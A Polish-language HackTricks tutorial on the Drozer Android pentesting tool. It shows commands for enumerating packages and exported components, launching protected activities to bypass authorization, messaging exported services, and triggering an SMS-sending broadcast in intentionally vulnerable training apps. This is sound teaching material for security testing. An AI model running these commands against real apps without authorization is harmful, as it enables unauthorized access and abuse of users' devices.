hacktricks/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md

15 KiB

Samouczek Drozera

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wskazówka dotycząca nagród za błędy: Zarejestruj się na platformie Intigriti, premium platformie nagród za błędy stworzonej przez hakerów, dla hakerów! Dołącz do nas na https://go.intigriti.com/hacktricks już dziś i zacznij zarabiać nagrody aż do 100 000 USD!

{% embed url="https://go.intigriti.com/hacktricks" %}

APKs do testowania

Części tego samouczka zostały wyodrębnione z dokumentacji Drozera w formacie pdf.

Instalacja

Zainstaluj klienta Drozera w swoim hostingu. Pobierz go z najnowszych wydań.

pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity

Pobierz i zainstaluj plik APK drozera z najnowszych wydań. W tym momencie jest to ten.

adb install drozer.apk

Uruchamianie serwera

Agent działa na porcie 31415, musimy przekierować port, aby nawiązać komunikację między klientem Drozer a Agentem, oto polecenie do wykonania:

adb forward tcp:31415 tcp:31415

Wreszcie uruchom aplikację i naciśnij przycisk "ON"

Następnie połącz się z nią:

drozer console connect

Interesujące polecenia

Polecenia Opis
Help MODULE Wyświetla pomoc wybranego modułu
list Pokazuje listę wszystkich modułów drozera, które można wykonać w bieżącej sesji. Ukrywa moduły, których nie masz odpowiednich uprawnień do uruchomienia.
shell Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta.
clean Usuwa tymczasowe pliki przechowywane przez drozera na urządzeniu z systemem Android.
load Wczytuje plik zawierający polecenia drozera i wykonuje je sekwencyjnie.
module Znajduje i instaluje dodatkowe moduły drozera z Internetu.
unset Usuwa nazwaną zmienną, którą drozer przekazuje do wszystkich powłok Linuxa, które uruchamia.
set Przechowuje wartość w zmiennej, która zostanie przekazana jako zmienna środowiskowa do wszystkich powłok Linuxa uruchamianych przez drozera.
shell Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta.
run MODULE Wykonuje moduł drozera
exploit Drozer może tworzyć eksploity do wykonania na urządzeniu. drozer exploit list
payload Eksploity wymagają ładunku. drozer payload list

Pakiet

Znajdź nazwę pakietu, filtrowanie po części nazwy:

dz> run app.package.list -f sieve
com.mwr.example.sieve

Podstawowe informacje o pakiecie:

dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS

Przeczytaj Manifest:

run app.package.manifest jakhar.aseem.diva

Powierzchnia ataku pakietu:

dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
  • Aktywności: Być może możesz uruchomić aktywność i ominąć pewnego rodzaju autoryzację, która powinna cię powstrzymać przed jej uruchomieniem.
  • Dostawcy treści: Być może możesz uzyskać dostęp do prywatnych danych lub wykorzystać jakąś podatność (wstrzyknięcie SQL lub Traversal ścieżki).
  • Usługi:
  • is debuggable: Dowiedz się więcej

Aktywności

Wartość "android:exported" skonfigurowana na "true" dla składowej aktywności eksportowanej w pliku AndroidManifest.xml:

<activity android:name="com.my.app.Initial" android:exported="true">
</activity>

Lista wyeksportowanych aktywności:

dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList

Rozpoczęcie aktywności:

Być może możesz rozpocząć aktywność i ominąć pewnego rodzaju autoryzację, która powinna Cię powstrzymać przed jej uruchomieniem.

{% code overflow="wrap" %}

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

{% endcode %}

Możesz również uruchomić wyeksportowaną aktywność za pomocą adb:

  • Nazwa pakietu to com.example.demo
  • Nazwa wyeksportowanej aktywności to com.example.test.MainActivity
adb shell am start -n com.example.demo/com.example.test.MainActivity

Dostawcy treści

Ten post był tak duży, żeby być tutaj, więc możesz uzyskać do niego dostęp na własnej stronie tutaj.

Usługi

Usługa eksportowana jest deklarowana wewnątrz Manifest.xml:

{% code overflow="wrap" %}

<service android:name=".AuthService" android:exported="true" android:process=":remote"/>

{% endcode %}

Wewnątrz kodu sprawdź funkcję **handleMessage**, która otrzyma wiadomość:

Lista usług

dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null

Komunikacja z usługą

app.service.send            Send a Message to a service, and display the reply
app.service.start           Start Service
app.service.stop            Stop Service

Przykład

Spójrz na pomoc drozera dla app.service.send:

Zauważ, że najpierw będziesz wysyłać dane znajdujące się w "msg.what", następnie "msg.arg1" i "msg.arg2", powinieneś sprawdzić w kodzie jakie informacje są używane i gdzie.
Korzystając z opcji --extra, możesz wysłać coś interpretowanego przez "msg.replyTo", a używając --bundle-as-obj tworzysz obiekt z podanymi szczegółami.

W poniższym przykładzie:

  • what == 2354
  • arg1 == 9234
  • arg2 == 1
  • replyTo == object(string com.mwr.example.sieve.PIN 1337)
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj

Odbiorniki nadawcze

W sekcji podstawowych informacji o Androidzie możesz zobaczyć, co to jest odbiornik nadawczy.

Po odkryciu tych odbiorników nadawczych powinieneś sprawdzić ich kod. Zwróć szczególną uwagę na funkcję onReceive, ponieważ to właśnie ona będzie obsługiwać otrzymane wiadomości.

Wykryj wszystkie odbiorniki nadawcze

run app.broadcast.info #Detects all

Sprawdź odbiorniki nadawcze aplikacji

#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.

# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null

Interakcje typu Broadcast

app.broadcast.info          Get information about broadcast receivers
app.broadcast.send          Send broadcast using an intent
app.broadcast.sniff         Register a broadcast receiver that can sniff particular intents

Wyślij wiadomość

W tym przykładzie wykorzystując apkę FourGoats apk Content Provider możesz wysłać dowolny SMS do dowolnego niepremiumowego odbiorcy bez pytania użytkownika o zgodę.

Jeśli przeczytasz kod, parametry "phoneNumber" i "message" muszą zostać przesłane do Content Providera.

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"

Jest możliwe debugowanie

Produkcyjny plik APK nigdy nie powinien być możliwy do debugowania.
Oznacza to, że możesz dołączyć debugger Javy do działającej aplikacji, inspekcjonować ją w czasie rzeczywistym, ustawiać punkty przerwania, krok po kroku przechodzić przez kod, zbierać wartości zmiennych, a nawet je zmieniać. Instytut InfoSec ma doskonały artykuł na temat zagłębiania się w aplikację, gdy jest możliwa do debugowania i wstrzykiwania kodu w czasie wykonania.

Gdy aplikacja jest możliwa do debugowania, pojawi się to w manifeście:

<application theme="@2131296387" debuggable="true"

Możesz znaleźć wszystkie aplikacje z możliwością debugowania za pomocą Drozera:

run app.package.debuggable

Samouczki

Więcej informacji

Wskazówka dotycząca nagrody za błąd: zarejestruj się na platformie Intigriti, premium platformie do nagród za błędy stworzonej przez hakerów, dla hakerów! Dołącz do nas na https://go.intigriti.com/hacktricks już dziś i zacznij zarabiać nagrody aż do $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Zacznij od zera i zostań ekspertem AWS w dziedzinie hakerskiej z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: